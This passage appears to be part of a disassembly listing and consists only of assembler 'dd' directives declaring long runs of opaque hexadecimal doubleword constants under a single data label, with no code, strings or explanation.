0F6335F78h, 0A75EF57Eh, 2A5284E9h, 884B9C13h, 0B0B05FFh dd 460A5C58h, 412FB068h, 48F49F84h, 0B464389h, 9F5BD839h dd 0F85E9A5Eh, 0ACB24E1Bh, 1685F13Dh, 72238105h, 0EFB8046Eh dd 9559C707h, 91C249F6h, 0D424D15Ch, 2D680402h, 0B8E90132h dd 9EB3626Fh, 80409AD2h, 8959CF29h, 0C64CBDFDh, 4E306090h dd 8BEB3BB1h, 0CFEDFEF0h, 92FE5478h, 107E1276h, 0B5A0808h dd 0D385B2EEh, 80F100Dh, 4B0E274Ch, 97B76E10h, 60C4F005h dd 0FB841A8h, 7E6D8F25h, 6C7FE916h, 4A169002h, 108DB39Dh dd 0EA5F622Fh, 8FF97512h, 92DBD140h, 76C0BDAAh, 209F6943h dd 304757E9h, 5BBA343Dh, 0D6B0EB0Bh, 685A0BD1h, 5F9724Ch dd 0C6201889h, 26E62099h, 5104E198h, 0E57C6EB9h, 0C52F01EAh dd 80740E1Ah, 3B71270Ch, 626FE9C2h, 2D403205h, 0DA958952h dd 745A094Eh, 8770206Ah, 0B71237F0h, 0B20903C8h, 0BD1E5D58h dd 76896817h, 2F7A8AF6h, 4984767h, 6F9808A8h, 7DBA5212h dd 0E939B602h, 4EDF5073h, 6974EA5Eh, 775D01C0h, 2038E5EEh dd 0E908A075h, 0F8F25F87h, 1D7294EAh, 0E3ED93DCh, 0C6BBDC75h dd 0C7101A3Dh, 0C0452457h, 80B7952Bh, 26142E53h, 0AA21ECF9h dd 5BD739B5h, 13BDE73Eh, 97F1DBE9h, 0D385773Fh, 0B97734FDh dd 1E2BC902h, 43E1C16Fh, 254C2D3h, 0E862B753h, 0EB6AC40h dd 0CA685186h, 59DE447Bh, 78EA102Ch, 3606712h, 4A62B2EBh dd 0E99005EFh, 51F2F0E0h, 110C92C0h, 0BB9636Ch, 9C93EEF8h dd 4320D352h, 70BB0448h, 80523F59h, 0C0A694F4h, 1B52AD5Ah dd 58ADCFBEh, 7B932F4Fh, 9BA7BDD3h, 5E59ACC0h, 0AE42979Ch dd 45E29002h, 0F2964827h, 0AACDF03Eh, 0FF575B71h, 3C8BD131h dd 0F529EF2Eh, 2104F22h, 2C5B3B51h, 298F8520h, 73FAA5D1h dd 87DA44F3h, 0B6EBD104h, 0DD8F5FAFh, 84F6B85Eh, 88CAF53Bh dd 0D7000F4Ch, 5317F2Ch, 625759Dh, 8318E01Ah, 14DF0743h dd 135E8D1h, 2A4FCD8Dh, 0C6CA26FAh, 31F26652h, 0CE889FDDh dd 0F676072Fh, 4F12CDD4h, 5B061331h, 72DF8EFFh, 0B90011D2h dd 145FE38h, 70550F8h, 2BF22F68h, 4050B418h, 216FC7BEh dd 72CA75FCh, 0E31B241h, 2762497Fh, 0F0481CC1h, 1BBF1C41h dd 0F8B4FAC4h, 8A68139Eh, 204F625Bh, 79975550h, 4F951F82h dd 0AFCB10B3h, 5C487258h, 138E8180h, 0E4F92892h, 955DB064h dd 2B893DB8h, 7F585B2Fh, 30509516h, 3177D015h, 137D5848h dd 0CCFE76EDh, 8640335Bh, 549FFE51h, 0FE5AAF8h, 326C430Ah dd 5292D27Ch, 4E0B9A53h, 0AE9C28AFh, 8138074Eh, 38A227E9h dd 0A956BF2Bh, 9F1C0E4h, 0C015E82Ah, 447032AAh, 207490F7h dd 0BB027A36h, 4C5950F8h, 6B57C143h, 83C7F5A6h, 3B3D0BE5h dd 3CE20C5Ah, 0A2613A27h, 0D3B02A4Fh, 794D2708h, 74052955h dd 0B635E211h, 81CD1075h, 642913CDh, 0C476E5BBh, 75973E04h dd 0ECF7588Fh, 0B58DB855h, 0D74B0C5Ch, 4F14EB68h, 4AC28080h dd 1076BC34h, 744BF747h, 6004FB99h, 68020564h, 6ED53C6Dh dd 7CFF242Dh, 588240A1h, 4598258Fh, 0C8E63C01h, 0D3B5E914h dd 25D1CC2Bh, 2B39C45Fh, 1759B96Eh, 9EC056E9h, 4948840Fh dd 0FA197BCAh, 96B1E176h, 6DEF5D8Dh, 668421C8h, 26445B2Eh dd 0B800A061h, 6596297Bh, 9865A498h, 0B0D7F7A9h, 0FD0EDCA2h dd 2CF21EB6h, 0C505F1B7h, 4FADE8DEh, 81FF9095h, 21CF87A2h dd 6B2E3231h, 98A0008h, 0B96360Dh, 0E3747B2Dh, 29084E89h dd 0B3F92507h, 25E9074Ch, 0BEF4E846h, 6A2BE153h, 5EC55D54h dd 525B0FC2h, 11C9A046h, 0B97AE19Ah, 1344D2DCh, 32CC0D73h dd 0CDB40150h, 0E328D2B3h, 7B447B58h, 5EF018C6h, 0CC9C4E21h dd 6540076Fh, 0E02D0059h, 17B0A3Eh, 7A305F0h, 0C155D0E1h dd 0F7D35509h, 0EEE90827h, 0DF501EA2h, 8C652E8h, 0F60C30A5h dd 488004DAh, 0F3121ACAh, 961BB88Dh, 69EC69FBh, 0FF572426h dd 1F054E40h, 0CCE92E07h, 15688BA6h, 9859467Ah, 5B045925h dd 0E2B1BABCh, 21B36007h, 7D0E5A00h, 0DFF7EFD1h, 92524850h dd 0C02BB345h, 0D5851628h, 6F90294Fh, 71764638h, 22FA4801h dd 40410841h, 0CC2EFC41h, 4B0986DBh, 68682CE2h, 49B0E913h dd 0C407E964h, 53DCF671h, 0CCC15DE4h, 20ECEDAEh, 0F840486Fh dd 914E8BEh, 0F589779Dh, 0FD4CD084h, 808F1304h, 16DBD31Eh dd 0DCE882B3h, 0FEAB00EFh, 80DFF6CFh, 5678EF62h, 0C8B7A15Ch dd 16303159h, 0E24A41BCh, 82F81DDh, 0A32C66CAh, 73E90283h dd 163D1C5h, 0B0E77BF9h, 2C2B0F92h, 0AA4A165Fh, 80FAF034h dd 0F1893B59h, 0CA01E239h, 3310FAE6h, 506612C3h, 585CE4BEh dd 39E18620h, 0F54CCF88h, 84341126h, 0FA21E368h, 0EAD2A8CAh dd 0D21C8BCEh, 0B47D25A0h, 50A2FE3h, 75C1A7A2h, 9CF9FB0Dh dd 0F7CCE865h, 0A581B5DBh, 708DDC1Ch, 0C5E6D310h, 0C6A17560h dd 761609ECh, 3AF6002Ch, 8340A37Ah, 329001EEh, 0B528E300h dd 5B2F252Eh, 48550F3Ah, 10EE720Dh, 4CE957A1h, 0CDDE5134h dd 2246C59h, 0FF523BEDh, 703CC07Fh, 3A582B46h, 222BECDh dd 708B649Fh, 0A49CA594h, 6E7588F6h, 2EDA3500h, 92D5AC0h dd 0CF10A70Eh, 48D7A0E2h, 9B4F5CAh, 87233926h, 906E4C02h dd 0C9E6C577h, 0C0694AF7h, 974BA4A6h, 62430CA1h, 26B6CCDh dd 73E21BF2h, 875B6021h, 0DCCC90D6h, 857ED04h, 50282F6h dd 571F78h, 0F2E93AE2h, 0A9B4439Dh, 97352E18h, 0F5BB002Eh dd 5B23E63Fh, 8B03FEB7h, 13AFF6E9h, 8BEF0172h, 0F1649A38h dd 5BDF2870h, 4D0923EBh, 525CAF12h, 25FB2956h, 8D686162h dd 50580194h, 0E30A0F7Eh, 909EDA64h, 0AE25E85Eh, 59A60C64h dd 2E2A5CE1h, 4EF81253h, 5A03D954h, 0BEDBF38h, 146C0CAAh dd 578DCA75h, 33E79789h, 1ED379AAh, 0AEB4DDECh, 41751DCCh dd 0BADE0148h, 6BBC2F81h, 29B1189Bh, 0CE87E4F1h, 38FD59F8h dd 8CC03E4Eh, 2239A805h, 0C22DFCF0h, 22AAE90Eh, 5E5D1E68h dd 6FE90979h, 0DDEFACC4h, 0E9255823h, 0CAFC7A25h, 0B12FD5Fh dd 6861D651h, 7E2C5259h, 4A29E9D7h, 582776BCh, 0FF2D11FCh dd 5B2F683Ch, 3E3EE578h, 509EFC15h, 0C0818002h, 9884FE29h dd 5FBDF854h, 929F33A2h, 4B38F9EFh, 4A52CDEDh, 0AB560117h dd 5B7908CBh, 0A4ACB80Ch, 0CC87CDA0h, 0E7A5498Ch, 5B63E009h dd 0CFF8C332h, 39D8C530h, 0C14ABC9Ah, 0C64E18BCh, 0CAD4407Fh dd 0AD42C0A2h, 4947FE2Dh, 0CA9452FCh, 76DD84C2h, 6D0262DFh dd 0EF980256h, 6AABBBDh, 83077E44h, 0E30592EBh, 73C950C0h dd 3AFEE280h, 26E9F092h, 6B0F5A5Fh, 2DFB64CBh, 2B790B87h dd 7A15FE69h, 0AD8D6F7Dh, 557AC55Eh, 0E9169DC4h, 0DAA73A90h dd 1079A84Eh, 59150A38h, 0D6CB8851h, 334AD2D0h, 0F59477FBh dd 9CA5632h, 0BC96D884h, 0F6EA682Dh, 0D3B1618Dh, 90783480h dd 0B800259Ah, 1531F72h, 7216505h, 0D8F74FE8h, 0A7401748h dd 0AC3B35DCh, 59C70BD9h, 0A41C0270h, 3D266596h, 0E32B779Ah dd 0AD9DF705h, 56C10424h, 5C816436h, 0C21045A5h, 0C0255BA3h dd 8258F20Ch, 0C07A4C08h, 7105607Bh, 0A404B90Ah, 1F58EFAh dd 6ECA84B0h, 0E4F67059h dword_4A485C dd 250CEB60h, 0C2F1464h, 0E0227FAh, 509FBD80h, 37986A98h dd 38AEB75Ah, 0AD91C6F5h, 62BCF301h, 4A816520h, 0A9EC819h dd 11247C57h, 0F20E59CBh, 20295FC4h, 5AC04957h, 0CB27A66Ah dd 9766F0D7h, 0E9E2B671h, 24C97CF1h, 5956E2C2h, 58615677h dd 0E9181C4Fh, 0C6951BE7h, 0AF9C027Fh, 5EF2899Dh, 92A1635Fh dd 44005F3Ah, 8644DEF7h, 0DD89032Dh, 3ADF6C0Eh, 1E8B6216h dd 20D435C1h, 4E582C59h, 16D45050h, 1331717h, 1EA4816h dd 0E66C10D9h, 7BE1FC1Eh, 3083620Fh, 2825C8E9h, 86B52719h dd 1B56F64h, 25E1684Dh, 0AD101476h, 0D7BF4A5Dh, 0AFA6A278h dd 0EDCED6A0h, 7D4ED31Ah, 4E3FE8E8h, 52197496h, 588C01C6h dd 6A4A8A68h, 7C157961h, 0E13E37F1h, 0E9E6001Eh, 0C8749783h dd 5FB97930h, 311F41E2h, 0FDE40C82h, 6E04D906h, 0EDD5B5FDh dd 472DEF5Bh, 1049A32Bh, 0AE4B4763h, 706FDD21h, 6882307Ch dd 0F8A43606h, 0DFCFA82Eh, 0D16EE64Bh, 0FB8B479Dh, 0B364D5Dh dd 7C5C03E5h, 4EA32DB7h, 0BF88028Dh, 4C1C539Fh, 7664FF80h dd 0E9161E37h, 0AFB42289h, 20061379h, 45F90D59h, 5557D106h dd 4CCBEBC0h, 5729BB80h, 0FAB57FC9h, 4A1F49F7h, 0FA840F04h dd 281B45Bh, 270A09E0h, 72047C7h, 0AB5F3110h, 51529D31h dd 582CB96Fh, 9B9FC65Ah, 0CAB90412h, 0AA075270h, 0F23F00A1h dd 8DEBD7BDh, 58190014h, 94A0478Fh, 84A998FEh, 86D86ED3h dd 0B4DF97BAh, 0D93433EAh, 31A0BA86h, 0AB0715Bh, 54F29880h dd 4BC00812h, 15069201h, 0F1F02AD7h, 4B509E0h, 608B31E3h dd 0C3939C5Ch, 43B021FAh, 0D57B07A6h, 25FF9E46h, 0B3446F21h dd 0ED161DCBh, 0BEC5801Eh, 95284D51h, 80CB4EAh, 7703301Ch dd 3CE96570h, 80660E69h, 0EE6187C6h, 0F5BF0441h, 82FB4995h dd 0A76C28EEh, 3D785C77h, 900A2C2Ah, 8A8227EBh, 2927E69Ch dd 10B6137Ch, 56ED02Ch, 2FDC68ADh, 47D4A344h, 653E9314h dd 2454B75Ah, 0B743AC08h, 0EB9B2545h, 8F6589F7h, 678EA6F1h dd 9CEA051Bh, 922CF723h, 882C22Eh, 7B525Eh, 5A967427h dd 9D721E75h, 746932C4h, 56F1D587h, 558CCB62h, 0F5E24E5Eh dd 0CF29028Bh, 4475A742h, 8CB532B5h, 0A5776925h, 0D584F121h dd 52E892F1h, 96EEFE54h, 0C45B121Eh, 54CEAEC8h, 0A578E85Bh dd 5C04508Bh, 0BA635868h, 8274248Ah, 6FACC406h, 5F1D895h dd 0BBF57735h, 45E0AB7Fh, 0F4544BA1h, 1A4C2FCEh, 0F55C96Dh dd 3E4AE2F1h, 0F4615D29h, 0B187404Dh, 0D626C1B5h, 2E0BC301h dd 687DA150h, 346F6249h, 971D85C8h, 143BE252h, 0BF0DB4DDh dd 94B69F9h, 9FF19452h, 5B4B541Ch, 0BEA696E8h, 5E552602h dd 7812E937h, 0D3208223h, 0FB5A6B35h, 3C014C0Eh, 0C8746844h dd 88B3210Ch, 2E3EB0CAh, 12FCCC7h, 5CC568F9h, 30FB77C2h dd 0DC655F25h, 0BA2C4849h, 80598048h, 4A7FEB3Ah, 9768EB42h dd 42C85C6Fh, 1057440Dh, 9E0F61E7h, 46BD87BBh, 0A902285Bh dd 0F5DB18E4h, 0F3BAAF80h, 495A0776h, 0AB101AECh, 0BB94C7Ah dd 0A01B2002h, 6743D9C7h, 34877669h, 8108D5F7h, 0E807AB76h dd 709F09F4h, 28FA2098h, 0AE98B73Ah, 0F917AFEFh, 0C10504AAh dd 0F083BBCAh, 0A4C2B82Dh, 2FE9F228h, 45123F01h, 71A1A45Fh dd 0C30369EDh, 45C1499Eh, 7F10CFD9h, 41CD7128h, 38C50380h dd 0FA5B3924h, 2D9C00CBh, 8139F005h, 7B0DAF2Fh, 53BD4231h dd 5CDF7809h, 522623F0h, 8C41275Dh, 6DD2B5Ch, 0FC3BA831h dd 0DEA05A7Eh, 77525975h, 0A517538Ah, 984C9D0h, 6AF7E97Ah dd 4A3DB1CCh, 6C1A9829h, 4B01E240h, 47BAC0CFh, 16049F2Dh dd 0A202E405h, 0A0E6C4AEh, 7048BAC1h, 16383D04h, 61B5775Bh dd 9540D9DCh, 4E04017Bh, 74E00954h, 45130244h, 84B4E949h dd 0C0C7FE00h, 5A027AE7h, 0EA1C17F8h, 0EE51404h, 0AA6724EAh dd 0D7F7D021h, 3C42B547h, 0B852E053h, 8E109F9Ch, 8482497Bh dd 2CAADE60h, 0BB4135B0h, 0F3B4B07Eh, 9A843070h, 31527CA8h dd 6331795Fh, 0DEF27E57h, 0AC7884h, 0F402DE68h, 0ABE5C049h dd 5560D109h, 0DAB55F79h, 73C20551h, 80779633h, 7C1D32FDh dd 5A0C5660h, 2CC8B6B2h, 0A77E21E9h, 5620897Ah, 31AD2538h dd 221E19Ch, 48E98B2Eh, 0B801D958h, 505B1341h, 0AE41E8C1h dd 0F226C03h, 84944A77h, 0AA98EAC1h, 7B729795h, 4EB5CB05h dd 0A4C679A3h, 26BA9077h, 63E440D7h, 0E5D3C331h, 0E3B7FE9Dh dd 0FA27D84Ah, 0E90455B9h, 0ECB9F1CCh, 5BDD58C9h, 3D68C13Dh dd 26C85218h, 0B802807Ch, 0E0074B1Ah, 97C29856h, 0C777947Dh dd 972E33Ah, 503B71DFh, 789FD929h, 0B07797F4h, 4D5668F1h dd 0DD80EA47h, 0E9734E07h, 2880674Eh, 0F0808DB1h, 0EBF6BF1Bh dd 420D83Ah, 0D6F6CE88h, 496BBF88h, 0FE356AABh, 0E288BFF2h dd 6570492Bh, 8C26D83Dh, 524F896Bh, 0B90063F9h, 33895D2Fh dd 0BFF10081h, 0E9266B05h, 0D99D11EFh, 0BA5CC5C8h, 89C39B03h dd 0F8C79C28h, 0BF3D065Ch, 18625254h, 0BA98F741h, 98BF3727h dd 0BFD77CC8h, 5051C3D4h, 0CAFE10F9h, 5D3FC2A4h, 5040A271h dd 0A62D1068h, 0B95102A3h, 7D6C0679h, 3C2F3041h, 0E65A2469h dd 0DFAC2C1Fh, 820FFADh, 0B5F38143h, 0A4CA0E8h, 4C2301E2h dd 0DD299058h, 82C64720h, 78682460h, 0C1307A5Ah, 9F44DE0h dd 6034E93Ch, 38671857h, 4A6282DEh, 51DBEA75h, 37E94114h dd 52B274D4h, 0B4506602h, 57E2884Bh, 0AE956410h, 0EB01DEB7h dd 0ECB62F1Eh, 7D46BE8Bh, 114C6968h, 0CE0DB991h, 49201AC1h dd 480B7835h, 0EA02B538h, 0EAD71D5h, 0E1B42260h, 896AF51Eh dd 44C3CCFFh, 0FCB55F83h, 4E75EB8Eh, 0D3882E1Eh, 0AC0C13F8h dd 0E9D8C72Ah, 753E622Bh, 23FE1AE0h, 0D64CF7E8h, 5717328Ah dd 12FCDED8h, 502EFB12h, 4C41BB10h, 1C702085h, 0C97CEF80h dd 0FD4FDF7h, 0BFE0849Fh, 0C5F7C762h, 0D1C42DE3h, 840FC905h dd 43B820D8h, 17459BE4h, 0A2BD8A99h, 8CDFEF25h, 17C10CD9h dd 0EB0BB467h, 8049984h, 0E3BBD768h, 6B0710C4h, 0C1BB5A01h dd 6A5916B5h, 4D687407h, 828459EBh, 12DC3947h, 752CF855h dd 345C4A5Ah, 5B110B00h, 2FC1457Dh, 13A6C5Bh, 68212965h dd 0F22813B2h, 0E475FACBh, 55F034Bh, 22307A98h, 0B10742A8h dd 2DAC6650h, 0C46807A0h, 0E6CB7854h, 65E7C94Eh, 8D64BA4Bh dd 9068EBB4h, 80C697D3h, 4B3FA838h, 4C608FEEh, 0F3124B00h dd 4CF400Fh, 0CAFA62A9h, 79A4E68h, 0C153884Bh, 2A683E40h dd 804306B9h, 50640AF9h, 8C7EDE3h, 2500566h, 0B62BEC02h dd 0BC28FE1Bh, 0C0A7C981h, 37FE89BCh, 0ADC6015Dh, 5690D6BBh dd 4097AB20h, 0F47288B3h, 76204B98h, 509B758h, 189BC56h dd 0E01585CBh, 2D7BA429h, 0DC886FA4h, 0F46728D1h, 8303FEA3h dd 0D5A96FDFh, 880EEF59h, 84F54FDEh, 0E9BD5046h, 57969B05h dd 908CEBC2h, 0C9554F80h, 0DAE96088h, 7355A06h, 160BD8B9h dd 1F58C131h, 0ACB7642Eh, 0FCA5EF34h, 5961BA44h, 798155A1h dd 0B70CC9EDh, 2533300Fh, 2C1E161Ah, 2F97544Eh, 24272E95h dd 92BBA15Ch, 0EA77EEA2h, 0BE407754h, 0F6BFAB9Fh, 8D154E0Fh dd 0FF7A593Fh, 9329EA2Bh, 5A12CB42h, 7F460B94h, 0F4005A34h dd 4A673EC7h, 40DA0925h, 267066BDh, 269D2F9Ch, 735D1033h dd 0FB10259Fh, 0F73A2CF1h, 77597D78h, 3B654BFBh, 0EAF9DCBAh dd 0F7ED83BDh, 3A13B9DBh, 0BD5B7169h, 0DCED5A17h, 0D496D913h dd 0B9F1FF0Bh, 9D423AECh dd 0BC453AD4h, 0F82F05B1h, 5F6CA272h, 0AC330CE4h, 0DDF71D43h dd 0EC32E4FFh, 37A8E15Fh, 0BDD392DEh, 1ACC3C44h, 84B1855Fh dd 14AB5E37h, 0F61144E5h, 41D52C8Dh, 7D31F509h, 0CE700EE1h dd 2D98C7D7h, 61D3927Dh, 0D3337BB3h, 0DAC370D6h, 29515E9h dd 57C6319Fh, 4E182365h, 4EE9039Ah, 0BBF1C459h, 22640181h dd 0CEC9752Ch, 5F25E2D6h, 0A32D07CCh, 6BC2F33Ch, 0E98F385Dh dd 0E849955Eh, 0BBEF20CEh, 409CCB1h, 5A94003Ch, 7E2814Ah dd 0AB70EF8h, 40DE6FC1h, 80FCB2F2h, 0D34D8951h, 0B30BD3ACh dd 5506C252h, 0E9182B36h, 0C59B6E2Bh, 0C922741h, 67611390h dd 0D3B996BDh, 4868CBBAh, 65CF93B3h, 0E744303Fh, 4F317440h dd 0DD20EEFDh, 3B2349C9h, 0E1046D1Bh, 81A7748Ah, 0A50B8E13h dd 87E4C08Bh, 861ABDCCh, 7AC21540h, 0A0318C2Dh, 0B3B6EF6Dh dd 0CC0B5CFDh, 4D4C2042h, 34590F1Dh, 46CCBACDh, 41FF2FE9h dd 97622C56h, 5FD1A969h, 0C3B7E505h, 0A20472A5h, 7B6C5509h dd 2AFB0FFh, 0CBE7EB12h, 0B55B6EF0h, 2B631979h, 0F7EF026Ch dd 401E09A5h, 57D113C2h, 7E6BB709h, 665C42C5h, 20E7D277h dd 56B53B72h, 70FC8224h, 35C5A62Eh, 4CE56805h, 0C3C1CEACh dd 80523114h, 6ADC4536h, 6B90E9D9h, 631AE16Dh, 6FB0C260h dd 0F19398BFh, 72B50509h, 8C8E36E9h, 9C162B50h, 5F8DB0Bh dd 95BE5601h, 2001904Ch, 0E91008A6h, 774C6A48h, 0A7473D14h dd 428A5B8Ah, 0E47AD0AEh, 304C009h, 5BD80726h, 55B0C237h dd 4A6E8E68h, 0CD2AB018h, 260917FEh, 0F044E966h, 0BDB30BC7h dd 0E762CB80h, 4F76BF58h, 39D0B6h, 0AE28E0B8h, 0C3E8D15Eh dd 0A7462BA8h, 48A4E9D0h, 51F8F792h, 0B09AC9F0h, 0F0B550BFh dd 99DCBD74h, 99A162h, 0E462E72Dh, 0DAA6A50h, 9726D07h dd 548EC729h, 84724C08h, 60AE7C6Ah, 2E64C5B7h, 968E3860h dd 0B0437E1Dh, 45F0557h, 0AB466BEFh, 0BA6F5902h, 0AF0BF5C1h dd 0F700DB58h, 7DE0DD8h, 25E92759h, 9C481F86h, 8A0F72E4h dd 0A4D08919h, 44AB6DF3h, 0B334B785h, 0B10610BDh, 5B2B010Ah dd 6AFC0854h, 2773A230h, 7F145CA4h, 7F0F4505h, 0A803C71Bh dd 6F312501h, 806A1D19h, 7C270EEEh, 0F725C095h, 88E8A0DDh dd 0F6DE2884h, 75C595F9h, 7825E962h, 0FF5C4ABDh, 0F06A3D2h dd 4DE92D83h, 0C1897192h, 0F11D37Dh, 1AC6F831h, 0B8075639h dd 7F972334h, 0E89568A2h, 8103FCEBh, 0AE0845Bh, 5381304Bh dd 8652F576h, 0A1F440C3h, 6F78257Eh, 0EEE9BC02h, 811FDBD0h dd 78AD66CFh, 0FE724C8h, 0E037129Bh, 0CB1A5FFh, 68095B91h dd 0C5301593h, 1ACA34F9h, 9903AC56h, 11F0629h, 0E173315Ah dd 0E3DFF743h, 0FCEB5398h, 16EFC148h, 58C035E9h, 972D8468h dd 4B142118h, 0F601CA91h, 3B1755E4h, 17B52620h, 0E0F5F825h dd 68135BAFh, 1DAC7B10h, 5E00BCB5h, 64FFFE32h, 393622D9h dd 7825C777h, 23D04861h, 0F6F69FCFh, 0EDC828Dh, 978EE87Eh dd 953405EFh, 9832FA47h, 79DC55A3h, 0FB4165EFh, 3BF4BFC9h dd 22FEB80Bh, 4692D9A1h, 6B3A2A05h, 0B4AA4902h, 7E70D3F5h dd 0BE627BBDh, 8E999426h, 89E9555Ah, 0AC0408A0h, 2C74D828h dd 98BF2AE4h, 4A02688Bh, 2D32E369h, 19FDB45h, 8860B151h dd 0B7E03BCCh, 288A1DC3h, 4BEB5DE3h, 7B70E4E9h, 3B47B904h dd 95BB17A0h, 320781D5h, 7AFAE5F1h, 0BEA16216h, 0B4C0FC3Eh dd 7C6F3791h, 70D5F701h, 634E8547h, 1E48DDE2h, 0FD12AA4Bh dd 6873D0BEh, 4CB73633h, 0B0D79D25h, 3E760D53h, 0F3037C96h dd 0A6D070Ch, 71050C0Fh, 0D916D2FBh, 1B70AF08h, 6E0B805Fh dd 0AA3D0867h, 0AD9243D1h, 1239EA2Dh, 0ECCA1693h, 0A51EB183h dd 4A28BA2Bh, 10A2C152h, 0F41A0967h, 55EC8BE3h, 404564Ch dd 120166FCh, 4209F0AFh, 763189B5h, 0A1D55B85h, 45A66E2Fh dd 964DE2D7h, 0C583CF44h, 0E0DF5D09h, 1855E5BDh, 0AE516052h dd 8F646B38h, 6F957282h, 38F3A1EEh, 37CAA5F3h, 0BADA4B70h dd 0E280EB30h, 5FF2E64Eh, 0DF9E769h, 0D0C1E9B3h, 0D65059C4h dd 394B9F6h, 78E38FC6h, 0BCB8D90Fh, 0D47AC125h, 3369C1A7h dd 25BB2BECh, 3E95B516h, 111DB5C0h, 4045AA31h, 17F1BE4Dh dd 0AC350E06h, 0F9A54A10h, 0A45F0B02h, 0D9C256FAh, 0E90D7C3Eh dd 95814E5Fh, 0D8075610h, 66F95582h, 79C212BEh, 81720727h dd 0F819FF5Ah, 5A3F3D23h, 0EB00B8A6h, 34584498h, 14525468h dd 49B8101Ah, 80C98101h, 2054213Eh, 261EBDC2h, 0CD160B23h dd 0EC41F4C9h, 8C70F6BEh, 3BD76E09h, 2876ECC1h, 69D46F0Eh dd 0D95F0809h, 0CC59EBDFh, 53EC2267h, 77E83BF3h, 13D57DADh dd 94D600AFh, 0E947E126h, 0A09F09E6h, 3E98C3E6h, 0BD035EDBh dd 3808410Bh, 0BC0FA5E9h, 2F9E4079h, 0BD5AD329h, 0A9902450h dd 0C0C7D29Fh, 881F056Ah, 425E906h, 249671E6h, 57CB0893h dd 0E283BF0Fh, 0F84F3D2Dh, 53B32FC5h, 6E5A1699h, 6483F88Dh dd 16C11863h, 0B2E9EFC8h, 0C74FD95Ah, 5BD31FB7h, 0E25B85E3h dd 76CE84EDh, 81E7C105h, 3898E4CCh, 0C5D79C2Eh, 0A89D14EFh dd 695A01B5h, 6B306620h, 0B0CD936h, 16681F15h, 0A3D38875h dd 2555560Fh, 869804BEh, 507C1Eh, 35484028h, 121A3D53h dd 0BE5876C0h, 251DACCAh, 0FE7E2981h, 0A320CB12h, 734367C1h dd 968FF671h, 23F825F2h, 77FBCB04h, 0C4811830h, 958174B0h dd 683D2BF6h, 9F186B4Dh, 2F0CC2A6h, 3FDA52BAh, 9E2AF602h dd 4209481Eh, 0B6FB82C2h, 9FD3DD6Bh, 9C0C531Fh, 6EE1963h dd 3FE3A7Eh, 0CDF23689h, 0AE149001h, 620EE941h, 75A9D72Ah dd 0B100F0DEh, 59ECC04Eh, 0F6F2F05Bh, 2D0DDA48h, 4EE5E611h dd 5274C29Eh, 66F1C55Fh, 502513F3h, 2FA2DB54h, 15E3D05h dd 0A913B158h, 4D0D8274h, 83538602h, 0D864B3E8h, 5CB5E945h dd 588941B8h, 237470Ah, 186D17B2h, 3723CD60h, 74690620h dd 0C940B77Eh, 1D16FBEDh, 20EB1404h, 4A6608A1h, 0EF31CA09h dd 0FB7E5Dh, 0A52DD829h, 3E48E356h, 30FD00A3h, 43052CB7h dd 7F973A47h, 5C02AECFh, 0E4508AE9h, 2F8778F6h, 24EEA346h dd 93410C98h, 84BAD107h, 7DCF4227h, 195A4DCEh, 0C3FE1205h dd 84F928C3h, 0C519DB87h, 0E907B0B1h, 36C9B153h, 61A56866h dd 7176B79Ch, 59345962h, 189B2A5Eh, 0A35A4568h, 19B5D033h dd 0F83DC680h, 0BC4F135Fh, 4180B4F3h, 0E2654642h, 0F4FB6829h dd 0BE5F1208h, 50318FF3h, 7A576E86h, 0C105F9D3h, 0B87E3FDDh dd 7E54B2E1h, 836016AFh, 47B1402Ah, 870028ACh, 2CE16856h dd 0E686D86h, 0E1E1A4h, 383FF8E0h, 0D6312D09h, 0C850DD5Ah dd 7D75852Fh, 0B0D1E590h, 15F86880h, 2A629349h, 8748E9C2h dd 57523056h, 0BEF708E2h, 981B96DFh, 38B92DAEh, 22752609h dd 21C90249h, 9C250093h, 127AC572h, 918F2827h, 212B5C43h dd 12494F59h, 9DA4F8C7h, 2F7376F2h, 0E0B81AC0h, 1D5A564Fh dd 0C07E9E05h, 480A2D25h, 0C8EA0F6Ah, 1CA13300h, 0CE9C609h dd 4B5C914Ch, 0E9137E46h, 0A6B83689h, 684F099Eh, 5B137B90h dd 294B57E4h, 80160B1h, 0E96B3C8Bh, 776AF1F9h, 90D7B66Dh dd 6D72425Bh, 6C010213h, 99C34FAh, 194C5D0Ch, 0B72244B0h dd 47C7056Eh, 8582384Dh, 0D1EF0CDAh, 70E46A0h, 0C65A716Bh dd 4B2F304Eh, 9F00ABC3h, 4768CB29h, 0A5A3C51Dh, 463CEAF9h dd 0E341332h, 0F02C1629h, 3D0BA124h, 45703FAh, 2800110Eh dd 0EB8058C3h, 4BFA714Fh dd 0B1299A4Fh, 901AB8CBh, 77143284h, 7471F9FCh, 9F5E21B1h dd 554823CAh, 7DE33F59h, 0CD5F5189h, 62F12F1Bh, 55BF6867h dd 0E9540523h, 0BED540F0h, 0FB9679E8h, 89148293h, 0C8401C2Dh dd 48D2EBF0h, 863250E3h, 82AB5946h, 28261556h, 12505C2h dd 64C6835Eh, 0D2B02182h, 6A56D924h, 730A6109h, 8B720590h dd 15F4FF3Dh, 3E1802BCh, 9008E965h, 8E58D9F5h, 8210798Eh dd 7D555854h, 0B55E7476h, 0A5C09BB2h, 8B48EEE9h, 635D8059h dd 0B009588Dh, 5A34FC23h, 0B5E4EC64h, 0DD323C82h, 1B3DC830h dd 27592A48h, 208314D4h, 0BA6BE5BFh, 505F6313h, 4525785h dd 0E9E52110h, 0FA8DD4C4h, 6C1D7401h, 37F05BAAh, 0C259C1C1h dd 74BF9F83h, 7A02A784h, 0D6E92B71h, 0D6C57509h, 0AD6592BEh dd 6F2B99D0h, 0BE16D33Dh, 0A86FFCE1h, 0E922B4DCh, 26B15632h dd 1D9C3B5Fh, 6CFD2587h, 403298C9h, 0BF015744h, 70F00E15h dd 96F4FB89h, 6129D4Fh, 7DC99376h, 0FF24CAECh, 538B3051h dd 0E0C4DF55h, 57EB8925h, 59B5DAECh, 4F2249A2h, 0A649A1E9h dd 6ACEE15Fh, 0B82FEDA6h, 779D2FDAh, 7C889911h, 62EF5F84h dd 29D59B64h, 13A0568h, 0BC291DA0h, 50B400A4h, 0D4F6C4FEh dd 9CCC801Ch, 889487FBh, 2929E9E7h, 0CE8FFD86h, 4C972D06h dd 0DBA52FBCh, 0B1510568h, 0BF94811Ch, 0A6903A61h, 90C875E5h dd 3BFCF8A4h, 0C44E805Fh, 0D7A571BEh, 0B9CB7B5Ah, 16DA8A4Fh dd 5E85D9E9h, 8B8AF3BFh, 5C14C0C3h, 0F8293966h, 10175FA4h dd 7A533248h, 0F849D8E0h, 39384E80h, 